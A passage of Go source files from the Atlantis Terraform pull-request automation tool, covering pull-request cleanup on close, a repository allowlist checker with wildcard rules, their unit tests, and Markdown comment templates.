templatedProject struct { RepoRelDir string Workspaces string } var pullClosedTemplate = template.Must(template.New("").Parse( "Locks and plans deleted for the projects and workspaces modified in this pull request:\n" + "{{ range . }}\n" + "- dir: `{{ .RepoRelDir }}` {{ .Workspaces }}{{ end }}")) type PullCleanupTemplate interface { Execute(wr io.Writer, data any) error } type PullClosedEventTemplate struct{} func (t *PullClosedEventTemplate) Execute(wr io.Writer, data any) error { return pullClosedTemplate.Execute(wr, data) } // CleanUpPull cleans up after a closed pull request. func (p *PullClosedExecutor) CleanUpPull(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { pullStatus, err := p.Database.GetPullStatus(pull) if err != nil { // Log and continue to clean up other resources. logger.Err("retrieving pull status: %s", err) } if pullStatus != nil { for _, project := range pullStatus.Projects { jobContext := jobs.PullInfo{ PullNum: pull.Num, Repo: pull.BaseRepo.Name, RepoFullName: pull.BaseRepo.FullName, ProjectName: project.ProjectName, Path: project.RepoRelDir, Workspace: project.Workspace, } p.LogStreamResourceCleaner.CleanUp(jobContext) } } if err := p.WorkingDir.Delete(logger, repo, pull); err != nil { return fmt.Errorf("cleaning workspace: %w", err) } // Finally, delete locks. We do this last because when someone // unlocks a project, right now we don't actually delete the plan // so we might have plans laying around but no locks. locks, err := p.Locker.UnlockByPull(repo.FullName, pull.Num) if err != nil { return fmt.Errorf("cleaning up locks: %w", err) } // Delete pull from DB. if err := p.Database.DeletePullStatus(pull); err != nil { logger.Err("deleting pull from db: %s", err) } // Clear any operations to avoid unbounded growth. if p.CancellationTracker != nil { p.CancellationTracker.Clear(pull) } // If there are no locks then there's no need to comment. if len(locks) == 0 { return nil } templateData := p.buildTemplateData(locks) var buf bytes.Buffer if err = pullClosedTemplate.Execute(&buf, templateData); err != nil { return fmt.Errorf("rendering template for comment: %w", err) } return p.VCSClient.CreateComment(logger, repo, pull.Num, buf.String(), "") } // buildTemplateData formats the lock data into a slice that can easily be // templated for the VCS comment. We organize all the workspaces by their // respective project paths so the comment can look like: // dir: {dir}, workspaces: {all-workspaces} func (p *PullClosedExecutor) buildTemplateData(locks []models.ProjectLock) []templatedProject { workspacesByPath := make(map[string][]string) for _, l := range locks { path := l.Project.Path // Check if workspace already exists to avoid duplicates if !slices.Contains(workspacesByPath[path], l.Workspace) { workspacesByPath[path] = append(workspacesByPath[path], l.Workspace) } } // sort keys so we can write deterministic tests var sortedPaths []string for p := range workspacesByPath { sortedPaths = append(sortedPaths, p) } sort.Strings(sortedPaths) var projects []templatedProject for _, p := range sortedPaths { workspace := workspacesByPath[p] sort.Strings(workspace) workspacesStr := fmt.Sprintf("`%s`", strings.Join(workspace, "`, `")) if len(workspace) == 1 { projects = append(projects, templatedProject{ RepoRelDir: p, Workspaces: "workspace: " + workspacesStr, }) } else { projects = append(projects, templatedProject{ RepoRelDir: p, Workspaces: "workspaces: " + workspacesStr, }) } } return projects } ================================================ FILE: server/events/pull_closed_executor_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events_test import ( "errors" "fmt" "os" "testing" "github.com/runatlantis/atlantis/server/core/boltdb" "github.com/runatlantis/atlantis/server/jobs" "github.com/runatlantis/atlantis/server/logging" "github.com/stretchr/testify/assert" bolt "go.etcd.io/bbolt" . "github.com/petergtz/pegomock/v4" lockmocks "github.com/runatlantis/atlantis/server/core/locking/mocks" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/mocks" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/models/testdata" vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" loggermocks "github.com/runatlantis/atlantis/server/logging/mocks" . "github.com/runatlantis/atlantis/testing" "go.uber.org/mock/gomock" ) func TestCleanUpPullWorkspaceErr(t *testing.T) { t.Log("when workspace.Delete returns an error, we return it") RegisterMockTestingT(t) logger := logging.NewNoopLogger(t) w := mocks.NewMockWorkingDir() tmp := t.TempDir() db, err := boltdb.New(tmp) t.Cleanup(func() { db.Close() }) Ok(t, err) pce := events.PullClosedExecutor{ WorkingDir: w, PullClosedTemplate: &events.PullClosedEventTemplate{}, Database: db, } err = errors.New("err") When(w.Delete(logger, testdata.GithubRepo, testdata.Pull)).ThenReturn(err) actualErr := pce.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull) Equals(t, "cleaning workspace: err", actualErr.Error()) } func TestCleanUpPullUnlockErr(t *testing.T) { t.Log("when locker.UnlockByPull returns an error, we return it") RegisterMockTestingT(t) logger := logging.NewNoopLogger(t) w := mocks.NewMockWorkingDir() ctrl := gomock.NewController(t) l := lockmocks.NewMockLocker(ctrl) tmp := t.TempDir() db, err := boltdb.New(tmp) t.Cleanup(func() { db.Close() }) Ok(t, err) pce := events.PullClosedExecutor{ Locker: l, WorkingDir: w, Database: db, PullClosedTemplate: &events.PullClosedEventTemplate{}, } err = errors.New("err") l.EXPECT().UnlockByPull(testdata.GithubRepo.FullName, testdata.Pull.Num).Return(nil, err) actualErr := pce.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull) Equals(t, "cleaning up locks: err", actualErr.Error()) } func TestCleanUpPullNoLocks(t *testing.T) { logger := logging.NewNoopLogger(t) t.Log("when there are no locks to clean up, we don't comment") RegisterMockTestingT(t) w := mocks.NewMockWorkingDir() ctrl := gomock.NewController(t) l := lockmocks.NewMockLocker(ctrl) cp := vcsmocks.NewMockClient() tmp := t.TempDir() db, err := boltdb.New(tmp) t.Cleanup(func() { db.Close() }) Ok(t, err) pce := events.PullClosedExecutor{ Locker: l, VCSClient: cp, WorkingDir: w, Database: db, } l.EXPECT().UnlockByPull(testdata.GithubRepo.FullName, testdata.Pull.Num).Return(nil, nil) err = pce.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull) Ok(t, err) cp.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) } func TestCleanUpPullComments(t *testing.T) { logger := logging.NewNoopLogger(t) t.Log("should comment correctly") RegisterMockTestingT(t) cases := []struct { Description string Locks []models.ProjectLock Exp string }{ { "single lock, empty path", []models.ProjectLock{ { Project: models.NewProject("owner/repo", "", ""), Workspace: "default", }, }, "- dir: `.` workspace: `default`", }, { "single lock, named project", []models.ProjectLock{ { Project: models.NewProject("owner/repo", "", "projectname"), Workspace: "default", }, }, // TODO: Should project name be included in output? "- dir: `.` workspace: `default`", }, { "single lock, non-empty path", []models.ProjectLock{ { Project: models.NewProject("owner/repo", "path", ""), Workspace: "default", }, }, "- dir: `path` workspace: `default`", }, { "single path, multiple workspaces", []models.ProjectLock{ { Project: models.NewProject("owner/repo", "path", ""), Workspace: "workspace1", }, { Project: models.NewProject("owner/repo", "path", ""), Workspace: "workspace2", }, }, "- dir: `path` workspaces: `workspace1`, `workspace2`", }, { "multiple paths, multiple workspaces", []models.ProjectLock{ { Project: models.NewProject("owner/repo", "path", ""), Workspace: "workspace1", }, { Project: models.NewProject("owner/repo", "path", ""), Workspace: "workspace2", }, { Project: models.NewProject("owner/repo", "path2", ""), Workspace: "workspace1", }, { Project: models.NewProject("owner/repo", "path2", ""), Workspace: "workspace2", }, }, "- dir: `path` workspaces: `workspace1`, `workspace2`\n- dir: `path2` workspaces: `workspace1`, `workspace2`", }, } for _, c := range cases { func() { w := mocks.NewMockWorkingDir() cp := vcsmocks.NewMockClient() ctrl := gomock.NewController(t) l := lockmocks.NewMockLocker(ctrl) tmp := t.TempDir() db, err := boltdb.New(tmp) t.Cleanup(func() { db.Close() }) Ok(t, err) pce := events.PullClosedExecutor{ Locker: l, VCSClient: cp, WorkingDir: w, Database: db, } t.Log("testing: " + c.Description) l.EXPECT().UnlockByPull(testdata.GithubRepo.FullName, testdata.Pull.Num).Return(c.Locks, nil) err = pce.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull) Ok(t, err) _, _, _, comment, _ := cp.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetCapturedArguments() expected := "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n" + c.Exp Equals(t, expected, comment) }() } } func TestCleanUpLogStreaming(t *testing.T) { logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) t.Run("Should Clean Up Log Streaming Resources When PR is closed", func(t *testing.T) { // Create Log streaming resources prjCmdOutput := make(chan *jobs.ProjectCmdOutputLine) prjCmdOutHandler := jobs.NewAsyncProjectCommandOutputHandler(prjCmdOutput, logger) ctx := command.ProjectContext{ BaseRepo: testdata.GithubRepo, Pull: testdata.Pull, ProjectName: *testdata.Project.Name, Workspace: "default", } go prjCmdOutHandler.Handle() prjCmdOutHandler.Send(ctx, "Test Message", false) // Create boltdb and add pull request. var lockBucket = "bucket" var configBucket = "configBucket" var pullsBucketName = "pulls" f, err := os.CreateTemp("", "") if err != nil { panic(fmt.Errorf("failed to create temp file: %w", err)) } path := f.Name() f.Close() // nolint: errcheck // Open the database. boltDB, err := bolt.Open(path, 0600, nil) if err != nil { panic(fmt.Errorf("could not start bolt DB: %w", err)) } if err := boltDB.Update(func(tx *bolt.Tx) error { if _, err := tx.CreateBucketIfNotExists([]byte(pullsBucketName)); err != nil { return fmt.Errorf("failed to create bucket: %w", err) } return nil }); err != nil { panic(fmt.Errorf("could not create bucket: %w", err)) } database, _ := boltdb.NewWithDB(boltDB, lockBucket, configBucket) result := []command.ProjectResult{ { RepoRelDir: testdata.GithubRepo.FullName, Workspace: "default", ProjectName: *testdata.Project.Name, }, } // Create a new record for pull _, err = database.UpdatePullWithResults(testdata.Pull, result) Ok(t, err) workingDir := mocks.NewMockWorkingDir() gmockCtrl := gomock.NewController(t) locker := lockmocks.NewMockLocker(gmockCtrl) client := vcsmocks.NewMockClient() logger := loggermocks.NewMockSimpleLogging() pullClosedExecutor := events.PullClosedExecutor{ Locker: locker, WorkingDir: workingDir, Database: database, VCSClient: client, PullClosedTemplate: &events.PullClosedEventTemplate{}, LogStreamResourceCleaner: prjCmdOutHandler, } locks := []models.ProjectLock{ { Project: models.NewProject(testdata.GithubRepo.FullName, "", ""), Workspace: "default", }, } locker.EXPECT().UnlockByPull(testdata.GithubRepo.FullName, testdata.Pull.Num).Return(locks, nil) // Clean up. err = pullClosedExecutor.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull) Ok(t, err) close(prjCmdOutput) _, _, _, comment, _ := client.VerifyWasCalledOnce().CreateComment( Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetCapturedArguments() expectedComment := "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n" + "- dir: `.` workspace: `default`" Equals(t, expectedComment, comment) // Assert log streaming resources are cleaned up. dfPrjCmdOutputHandler := prjCmdOutHandler.(*jobs.AsyncProjectCommandOutputHandler) assert.Empty(t, dfPrjCmdOutputHandler.GetProjectOutputBuffer(ctx.PullInfo())) assert.Empty(t, dfPrjCmdOutputHandler.GetReceiverBufferForPull(ctx.PullInfo())) }) } func TestCleanUpPullWithCorrectJobContext(t *testing.T) { t.Log("CleanUpPull should call LogStreamResourceCleaner.CleanUp with complete PullInfo including RepoFullName and Path") RegisterMockTestingT(t) logger := logging.NewNoopLogger(t) // Create mocks workingDir := mocks.NewMockWorkingDir() gmockCtrl := gomock.NewController(t) locker := lockmocks.NewMockLocker(gmockCtrl) client := vcsmocks.NewMockClient() resourceCleaner := mocks.NewMockResourceCleaner() // Create temporary database tmp := t.TempDir() db, err := boltdb.New(tmp) t.Cleanup(func() { db.Close() }) Ok(t, err) // Create test data with multiple projects to verify all fields are populated correctly testProjects := []command.ProjectResult{ { RepoRelDir: "path/to/project1", Workspace: "default", ProjectName: "project1", }, { RepoRelDir: "path/to/project2", Workspace: "staging", ProjectName: "project2", }, } // Add pull status to database _, err = db.UpdatePullWithResults(testdata.Pull, testProjects) Ok(t, err) // Create executor pce := events.PullClosedExecutor{ Locker: locker, VCSClient: client, WorkingDir: workingDir, Database: db, PullClosedTemplate: &events.PullClosedEventTemplate{}, LogStreamResourceCleaner: resourceCleaner, } // Setup mock expectations locker.EXPECT().UnlockByPull(testdata.GithubRepo.FullName, testdata.Pull.Num).Return(nil, nil) // Execute CleanUpPull err = pce.CleanUpPull(logger, testdata.GithubRepo, testdata.Pull) Ok(t, err) // Verify ResourceCleaner.CleanUp was called twice (once for each project) resourceCleaner.VerifyWasCalled(Times(2)).CleanUp(Any[jobs.PullInfo]()) // Get the captured arguments to verify they contain all required fields capturedArgs := resourceCleaner.VerifyWasCalled(Times(2)).CleanUp(Any[jobs.PullInfo]()).GetAllCapturedArguments() // Verify first project's PullInfo expectedPullInfo1 := jobs.PullInfo{ PullNum: testdata.Pull.Num, Repo: testdata.Pull.BaseRepo.Name, RepoFullName: testdata.Pull.BaseRepo.FullName, ProjectName: "project1", Path: "path/to/project1", Workspace: "default", } Equals(t, expectedPullInfo1, capturedArgs[0]) // Verify second project's PullInfo expectedPullInfo2 := jobs.PullInfo{ PullNum: testdata.Pull.Num, Repo: testdata.Pull.BaseRepo.Name, RepoFullName: testdata.Pull.BaseRepo.FullName, ProjectName: "project2", Path: "path/to/project2", Workspace: "staging", } Equals(t, expectedPullInfo2, capturedArgs[1]) } ================================================ FILE: server/events/pull_status_fetcher.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import "github.com/runatlantis/atlantis/server/events/models" // PullStatusFetcher fetches our internal model of a pull requests status type PullStatusFetcher interface { GetPullStatus(pull models.PullRequest) (*models.PullStatus, error) } ================================================ FILE: server/events/pull_updater.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/utils" ) type PullUpdater struct { HidePrevPlanComments bool VCSClient vcs.Client MarkdownRenderer *MarkdownRenderer } func (c *PullUpdater) updatePull(ctx *command.Context, cmd PullCommand, res command.Result) { // Log if we got any errors or failures. if res.Error != nil { ctx.Log.Err(res.Error.Error()) } else if res.Failure != "" { ctx.Log.Warn(res.Failure) } // HidePrevCommandComments will hide old comments left from previous runs to reduce // clutter in a pull/merge request. This will not delete the comment, since the // comment trail may be useful in auditing or backtracing problems. if c.HidePrevPlanComments { ctx.Log.Debug("hiding previous plan comments for command: '%v', directory: '%v'", cmd.CommandName().TitleString(), cmd.Dir()) if err := c.VCSClient.HidePrevCommandComments(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, cmd.CommandName().TitleString(), cmd.Dir()); err != nil { ctx.Log.Err("unable to hide old comments: %s", err) } } if len(res.ProjectResults) > 0 { var commentOnProjects []command.ProjectResult for _, result := range res.ProjectResults { if utils.SlicesContains(result.SilencePRComments, cmd.CommandName().String()) { ctx.Log.Debug("silenced command '%s' comment for project '%s'", cmd.CommandName().String(), result.ProjectName) continue } commentOnProjects = append(commentOnProjects, result) } if len(commentOnProjects) == 0 { return } res.ProjectResults = commentOnProjects } comment := c.MarkdownRenderer.Render(ctx, res, cmd) if err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, comment, cmd.CommandName().String()); err != nil { ctx.Log.Err("unable to comment: %s", err) } } ================================================ FILE: server/events/repo_allowlist_checker.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events import ( "fmt" "strings" ) // Wildcard matches 0-n of all characters except commas. const Wildcard = "*" // RepoAllowlistChecker implements checking if repos are allowlisted to be used with // this Atlantis. type RepoAllowlistChecker struct { includeRules []string omitRules []string } // NewRepoAllowlistChecker constructs a new checker and validates that the // allowlist isn't malformed. func NewRepoAllowlistChecker(allowlist string) (*RepoAllowlistChecker, error) { includeRules := make([]string, 0) omitRules := make([]string, 0) for rule := range strings.SplitSeq(allowlist, ",") { if strings.Contains(rule, "://") { return nil, fmt.Errorf("allowlist %q contained ://", rule) } if len(rule) > 1 && rule[0] == '!' { omitRules = append(omitRules, rule[1:]) } else { includeRules = append(includeRules, rule) } } return &RepoAllowlistChecker{ includeRules: includeRules, omitRules: omitRules, }, nil } // IsAllowlisted returns true if this repo is in our allowlist and false // otherwise. func (r *RepoAllowlistChecker) IsAllowlisted(repoFullName string, vcsHostname string) bool { candidate := fmt.Sprintf("%s/%s", vcsHostname, repoFullName) shouldInclude := r.matchesAtLeastOneRule(r.includeRules, candidate) shouldOmit := r.matchesAtLeastOneRule(r.omitRules, candidate) return shouldInclude && !shouldOmit } func (r *RepoAllowlistChecker) matchesAtLeastOneRule(rules []string, candidate string) bool { for _, rule := range rules { if r.matchesRule(rule, candidate) { return true } } return false } func (r *RepoAllowlistChecker) matchesRule(rule string, candidate string) bool { // Case insensitive compare. rule = strings.ToLower(rule) candidate = strings.ToLower(candidate) wildcardIdx := strings.Index(rule, Wildcard) if wildcardIdx == -1 { // No wildcard so can do a straight up match. return candidate == rule } // If the candidate length is less than where we found the wildcard // then it can't be equal. For example: // rule: abc* // candidate: ab if len(candidate) < wildcardIdx { return false } // If wildcard is not the last character, substring both to compare what is after the wildcard. Example: // candidate: repo-abc // rule: *-abc // substr(candidate): -abc // substr(rule): -abc if wildcardIdx != len(rule)-1 { // If the rule substring after wildcard does not exist in the candidate, then it is not a match. idx := strings.LastIndex(candidate, rule[wildcardIdx+1:]) if idx == -1 { return false } return candidate[idx:] == rule[wildcardIdx+1:] } // If wildcard is last character, substring both so they're comparing before the wildcard. Example: // candidate: abcd // rule: abc* // substr(candidate): abc // substr(rule): abc return candidate[:wildcardIdx] == rule[:wildcardIdx] } ================================================ FILE: server/events/repo_allowlist_checker_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events_test import ( "testing" "github.com/runatlantis/atlantis/server/events" . "github.com/runatlantis/atlantis/testing" ) func TestRepoAllowlistChecker_IsAllowlisted(t *testing.T) { cases := []struct { Description string Allowlist string RepoFullName string Hostname string Exp bool }{ { "exact match", "github.com/owner/repo", "owner/repo", "github.com", true, }, { "exact match shouldn't match anything else", "github.com/owner/repo", "owner/rep", "github.com", false, }, { "* should match anything", "*", "owner/repo", "github.com", true, }, { "github.com* should match anything github", "github.com*", "owner/repo", "github.com", true, }, { "github.com* should not match gitlab", "github.com*", "owner/repo", "gitlab.com", false, }, { "github.com/o* should match", "github.com/o*", "owner/repo", "github.com", true, }, { "github.com/owner/rep* should not match", "github.com/owner/rep*", "owner/re", "github.com", false, }, { "github.com/owner/rep* should match", "github.com/owner/rep*", "owner/rep", "github.com", true, }, { "github.com/o* should not match", "github.com/o*", "somethingelse/repo", "github.com", false, }, { "github.com/owner/repo* should match exactly", "github.com/owner/repo*", "owner/repo", "github.com", true, }, { "github.com/owner/* should match anything in org", "github.com/owner/*", "owner/repo", "github.com", true, }, { "github.com/owner/* should not match anything not in org", "github.com/owner/*", "otherorg/repo", "github.com", false, }, { "if there's any * it should match", "github.com/owner/repo,*", "otherorg/repo", "github.com", true, }, { "any exact match should match", "github.com/owner/repo,github.com/otherorg/repo", "otherorg/repo", "github.com", true, }, { "longer shouldn't match on exact", "github.com/owner/repo", "owner/repo-longer", "github.com", false, }, { "should be case insensitive", "github.com/owner/repo", "OwNeR/rEpO", "github.com", true, }, { "should be case insensitive for wildcards", "github.com/owner/*", "OwNeR/rEpO", "github.com", true, }, { "should match if wildcard is not last character", "github.com/owner/*-repo", "owner/prefix-repo", "github.com", true, }, { "should match if wildcard is first character within owner name", "github.com/*-owner/repo", "prefix-owner/repo", "github.com", true, }, { "should match if wildcard is at beginning", "*-owner/repo", "prefix-owner/repo", "github.com", true, }, { "should match with duplicate", "*runatlantis", "runatlantis/runatlantis", "github.com", true, }, { "should exclude with negative match", "github.com/owner/*,!github.com/owner/badrepo", "owner/badrepo", "github.com", false, }, { "should match if with negative rule doesn't match", "github.com/owner/*,!github.com/owner/badrepo", "owner/otherrepo", "github.com", true, }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { w, err := events.NewRepoAllowlistChecker(c.Allowlist) Ok(t, err) Equals(t, c.Exp, w.IsAllowlisted(c.RepoFullName, c.Hostname)) }) } } // If the allowlist contains a schema then we should get an error. func TestRepoAllowlistChecker_ContainsSchema(t *testing.T) { cases := []struct { allowlist string expErr string }{ { "://", `allowlist "://" contained ://`, }, { "valid/*,https://bitbucket.org/*", `allowlist "https://bitbucket.org/*" contained ://`, }, } for _, c := range cases { t.Run(c.allowlist, func(t *testing.T) { _, err := events.NewRepoAllowlistChecker(c.allowlist) ErrEquals(t, c.expErr, err) }) } } ================================================ FILE: server/events/repo_branch_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "os" "path/filepath" "testing" "github.com/runatlantis/atlantis/server/core/config" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/stretchr/testify/require" ) func TestRepoBranch(t *testing.T) { globalYAML := `repos: - id: github.com/foo/bar branch: /release/.*/ apply_requirements: [approved, mergeable] allowed_overrides: [workflow] allowed_workflows: [development, production] allow_custom_workflows: true workflows: development: plan: steps: - run: 'echo "Executing test workflow: terraform plan in ..."' - init: extra_args: ["-upgrade"] - plan apply: steps: - run: 'echo "Executing test workflow: terraform apply in ..."' - apply production: plan: steps: - run: 'echo "Executing production workflow: terraform plan in ..."' - init: extra_args: ["-upgrade"] - plan apply: steps: - run: 'echo "Executing production workflow: terraform apply in ..."' - apply ` repoYAML := `version: 3 projects: - name: development branch: /main/ dir: terraform/development workflow: development autoplan: when_modified: - "**/*" - name: production branch: /production/ dir: terraform/production workflow: production autoplan: when_modified: - "**/*" ` tmp := t.TempDir() globalYAMLPath := filepath.Join(tmp, "config.yaml") err := os.WriteFile(globalYAMLPath, []byte(globalYAML), 0600) require.NoError(t, err) globalCfgArgs := valid.GlobalCfgArgs{} parser := &config.ParserValidator{} global, err := parser.ParseGlobalCfg(globalYAMLPath, valid.NewGlobalCfgFromArgs(globalCfgArgs)) require.NoError(t, err) repoYAMLPath := filepath.Join(tmp, "atlantis.yaml") err = os.WriteFile(repoYAMLPath, []byte(repoYAML), 0600) require.NoError(t, err) repo, err := parser.ParseRepoCfg(tmp, global, "github.com/foo/bar", "main") require.NoError(t, err) require.Len(t, repo.Projects, 1) t.Logf("Projects: %+v", repo.Projects) } ================================================ FILE: server/events/state_command_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "fmt" "github.com/runatlantis/atlantis/server/events/command" ) func NewStateCommandRunner( pullUpdater *PullUpdater, prjCmdBuilder ProjectStateCommandBuilder, prjCmdRunner ProjectStateCommandRunner, ) *StateCommandRunner { return &StateCommandRunner{ pullUpdater: pullUpdater, prjCmdBuilder: prjCmdBuilder, prjCmdRunner: prjCmdRunner, } } type StateCommandRunner struct { pullUpdater *PullUpdater prjCmdBuilder ProjectStateCommandBuilder prjCmdRunner ProjectStateCommandRunner } func (v *StateCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) { var result command.Result switch cmd.SubName { case "rm": result = v.runRm(ctx, cmd) default: result = command.Result{ Failure: fmt.Sprintf("unknown state subcommand %s", cmd.SubName), } } v.pullUpdater.updatePull(ctx, cmd, result) } func (v *StateCommandRunner) runRm(ctx *command.Context, cmd *CommentCommand) command.Result { projectCmds, err := v.prjCmdBuilder.BuildStateRmCommands(ctx, cmd) if err != nil { ctx.Log.Warn("Error %s", err) } return runProjectCmds(projectCmds, v.prjCmdRunner.StateRm) } ================================================ FILE: server/events/templates/apply_unwrapped_success.tmpl ================================================ {{ define "applyUnwrappedSuccess" -}} ```diff {{ .Output }} ``` {{ end -}} ================================================ FILE: server/events/templates/apply_wrapped_success.tmpl ================================================ {{ define "applyWrappedSuccess" -}}
Show Output {{ template "applyUnwrappedSuccess" . }}
{{ end -}} ================================================ FILE: server/events/templates/approve_all_projects.tmpl ================================================ {{ define "approveAllProjects" -}} Approved Policies for {{ len .Results }} projects: {{ range $result := .Results -}} 1. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` {{ end -}} {{- template "log" . -}} {{ end }} ================================================ FILE: server/events/templates/failure.tmpl ================================================ {{ define "failure" -}} **{{ .Command }} Failed**: {{ .Failure }} {{- if ne .RenderedContext ""}} {{ .RenderedContext }} {{- end }} {{ end -}} ================================================ FILE: server/events/templates/failure_with_log.tmpl ================================================ {{ define "failureWithLog" -}} {{ template "failure" . -}} {{- template "log" . -}} {{ end -}} ================================================ FILE: server/events/templates/import_success_unwrapped.tmpl ================================================ {{ define "importSuccessUnwrapped" -}} ```diff {{ .Output }} ``` :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell {{.RePlanCmd}} ``` {{ end -}} ================================================ FILE: server/events/templates/import_success_wrapped.tmpl ================================================ {{ define "importSuccessWrapped" -}}
Show Output ```diff {{ .Output }} ```
:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: ```shell {{ .RePlanCmd }} ``` {{ end -}} ================================================ FILE: server/events/templates/log.tmpl ================================================ {{ define "log" -}} {{ if .Verbose -}}
Log

``` {{.Log}}```

{{ end -}} {{ end -}} ================================================ FILE: server/events/templates/merged_again.tmpl ================================================ {{ define "mergedAgain" -}} {{ if .MergedAgain -}} :twisted_rightwards_arrows: Upstream was modified, a new merge was performed. {{ end -}} {{ end -}} ================================================ FILE: server/events/templates/multi_project_apply.tmpl ================================================ {{ define "multiProjectApply" -}} {{ template "multiProjectHeader" . -}} {{ range $i, $result := .Results -}} ### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` {{ $result.Rendered }} --- {{ end -}} {{ template "multiProjectApplyFooter" . -}} {{ template "log" . -}} {{ end -}} ================================================ FILE: server/events/templates/multi_project_apply_footer.tmpl ================================================ {{ define "multiProjectApplyFooter" -}} {{ if (gt (len .Results) 1) -}} ### Apply Summary {{ len .Results }} projects, {{ .NumApplySuccesses }} successful, {{ .NumApplyFailures }} failed, {{ .NumApplyErrors }} errored {{ end -}} {{ end -}} ================================================ FILE: server/events/templates/multi_project_header.tmpl ================================================ {{ define "multiProjectHeader" -}} Ran {{.Command}} for {{ len .Results }} projects: {{ range $result := .Results -}} 1. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` {{ end -}} {{ if (gt (len .Results) 0) -}} --- {{ end -}} {{ end -}} ================================================ FILE: server/events/templates/multi_project_import.tmpl ================================================ {{ define "multiProjectImport" -}} {{ template "multiProjectHeader" . -}} {{ range $i, $result := .Results -}} ### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` {{ $result.Rendered }} --- {{ end -}} {{- template "log" . -}} {{ end -}} ================================================ FILE: server/events/templates/multi_project_plan.tmpl ================================================ {{ define "multiProjectPlan" -}} {{ template "multiProjectHeader" . -}} {{ $disableApplyAll := .DisableApplyAll -}} {{ $hideUnchangedPlans := .HideUnchangedPlanComments -}} {{ range $i, $result := .Results -}} {{ if (and $hideUnchangedPlans $result.NoChanges) }}{{continue}}{{end -}} ### {{ add $i 1 }}. {{ if $result.ProjectName }}project: `{{ $result.ProjectName }}` {{ end }}dir: `{{ $result.RepoRelDir }}` workspace: `{{ $result.Workspace }}` {{ $result.Rendered }} --- {{ end -}} {{ template "multiProjectPlanFooter" . -}} {{ template "log" . -}} {{ end -}} ================================================ FILE: server/events/templates/multi_project_plan_footer.tmpl ================================================ {{ define "multiProjectPlanFooter" -}} {{ if and (gt (len .Results) 0) -}} ### Plan Summary {{ len .Results }} projects, {{ .NumPlansWithChanges }} with changes, {{ .NumPlansWithNoChanges }} with no changes, {{ .NumPlanFailures }} failed {{ if and (not .PlansDeleted) (ne .DisableApplyAll true) }} * :fast_forward: To **apply** all unapplied plans from this {{ .VcsRequestType }}, comment: ```shell {{ .ExecutableName }} apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this {{ .VcsRequestType }}, comment: ```shell {{ .ExecutableName }} unlock ``` {{ end -}} {{ end -}} {{ end -}} ================================================ FILE: server/events/templates/multi_project_policy.tmpl ================================================ {{ define "multiProjectPolicy" -}} {{ template "multiProjectHeader" . -}} 